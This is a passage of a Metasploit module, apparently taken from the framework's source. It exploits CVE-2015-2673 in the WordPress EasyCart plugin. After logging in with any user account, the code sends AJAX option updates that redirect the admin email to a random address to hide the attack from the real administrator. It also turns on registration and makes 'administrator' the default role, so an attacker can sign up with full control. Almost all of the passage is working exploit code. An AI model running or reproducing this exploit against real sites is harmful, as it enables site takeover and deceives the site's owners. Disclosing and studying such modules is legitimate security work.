The module first changes the admin e-mail address          to prevent any notifications being sent to the actual administrator during the attack,          re-enables user registration in case it has been disabled and sets the default role to          be administrator. This will allow for the user to create a new account with admin          privileges via the default registration page found at /wp-login.php?action=register.        },        'Author' => [          'rastating' # Discovery and Metasploit module        ],        'License' => MSF_LICENSE,        'References' => [          ['CVE', '2015-2673'],          ['WPVDB', '7808'],          ['URL', 'https://rastating.github.io/wp-easycart-privilege-escalation-information-disclosure/']        ],        'DisclosureDate' => '2015-02-25'      )    )    register_options(      [        OptString.new('USERNAME', [true, 'The WordPress username to authenticate with']),        OptString.new('PASSWORD', [true, 'The WordPress password to authenticate with'])      ]    )  end  def check    check_plugin_version_from_readme('wp-easycart', '3.0.21', '1.1.30')  end  def username    datastore['USERNAME']  end  def password    datastore['PASSWORD']  end  def set_wp_option(name, value, cookie)    res = send_request_cgi(      'method' => 'POST',      'uri' => wordpress_url_admin_ajax,      'vars_get' => { 'action' => 'ec_ajax_update_option' },      'vars_post' => { 'option_name' => name, 'option_value' => value },      'cookie' => cookie    )    if res.nil?      vprint_error('No response from the target.')    elsif res.code != 200      vprint_warning("Server responded with status code #{res.code}")    end    res  end  def run    print_status("Authenticating with WordPress using #{username}:#{password}...")    cookie = wordpress_login(username, password)    if cookie.nil?      print_error('Failed to authenticate with WordPress')      return    end    store_valid_credential(user: username, private: password, proof: cookie)    print_good('Authenticated with WordPress')    new_email = "#{Rex::Text.rand_text_alpha(5)}@#{Rex::Text.rand_text_alpha(5)}.com"    print_status("Changing admin e-mail address to #{new_email}...")    if set_wp_option('admin_email', new_email, cookie).nil?      print_error('Failed to change the admin e-mail address')      return    end    print_status('Enabling user registrations...')    if set_wp_option('users_can_register', 1, cookie).nil?      print_error('Failed to enable user registrations')      return    end    print_status('Setting the default user role...')    if set_wp_option('default_role', 'administrator', cookie).nil?      print_error('Failed to set the default user role')      return    end    register_url = normalize_uri(target_uri.path, 'wp-login.php?action=register')    print_good('Privilege escalation complete')    print_good("Create a new account at #{register_url} to gain admin access.")  endend
